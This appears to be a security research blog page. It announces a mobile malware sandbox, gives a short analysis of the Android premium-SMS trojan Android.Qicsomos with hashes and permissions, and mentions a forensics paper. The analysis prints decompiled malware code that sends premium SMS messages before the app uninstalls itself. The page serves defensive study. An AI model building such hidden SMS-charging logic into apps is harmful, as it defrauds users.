New Mobile-Sandbox-System

Over the last few weeks we did a lot of research and development in the filed of mobile malware analysis. As a result, the new and improved Mobile-Sandbox is now online. Over the next few weeks, we are trying to implement some more features, so stay tuned!

–> Mobile-Sandbox.com

Detailed Analysis of Android.Qicsomos

Intro: What is Android.Qicsomos?

Android.Qicsomos is a new Android malware that emerged some days ago. It sends SMS messages to premium rated numbers.

Analysis of the Application and Its Structure

The app requests the following permissions:

  • android.permission.READ_LOGS
  • android.permission.SEND_SMS

After the application has been installed successfully, the icon of the app shows up in the dashboard. The name of the application and the UI look like an app for detecting CarrierIQ.

The Malicious Parts:

The malicious part of the app starts, when an user hits the “Déinstaller” button. The app sends four SMS messages to “81168” containing the text “AT37”, “MC49”, “SP99” and “SP93” before it gets deinstalled. (for more information see the following code-snippet)

localSmsManager.sendTextMessage("81168", null, "AT37", null, null);
try{
    label15: localSmsManager.sendTextMessage("81168", null, "MC49", null, null);
    try{
        label26: localSmsManager.sendTextMessage("81168", null, "SP99", null, null);
        try{
            label37: localSmsManager.sendTextMessage("81168", null, "SP93", null, null);
            label48: Intent localIntent = new Intent("android.intent.action.DELETE", Uri.parse("package:org.projectvoodoo.simplecarrieriqdetector"));
...

Sample Information:

sha256:
79a3bc6da45243355a920082dc67da0febf19379c25c721c43fd6b3f83ff4ef4

md5:
69b9691a8274a17cdc22e9681b3e1c74

Mobile-Sandbox Report

8th Annual IFIP WG11.9 International Conference on Digital Forensics

We published and presented the paper “Forensic Acquisition of Location Data from Android Smartphones” at the IFIP WG11.9 conference in January this year. This paper covers the forensic acquisition of location data from Android smartphones (system and applications) and the corresponding generation of movement profiles. It will be published in the upcoming edition of “Advances in Digital Forensics”.